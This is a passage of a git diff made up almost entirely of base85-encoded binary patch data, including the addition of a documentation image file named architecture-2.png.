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 F{|64z-T(jq literal 0 HcmV?d00001 diff --git a/docs/manual/imgs/architecture-2.png b/docs/manual/imgs/architecture-2.png new file mode 100644 index 0000000000000000000000000000000000000000..b2b566a6880e032ad773d105d92470405ed57431 GIT binary patch literal 37468 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 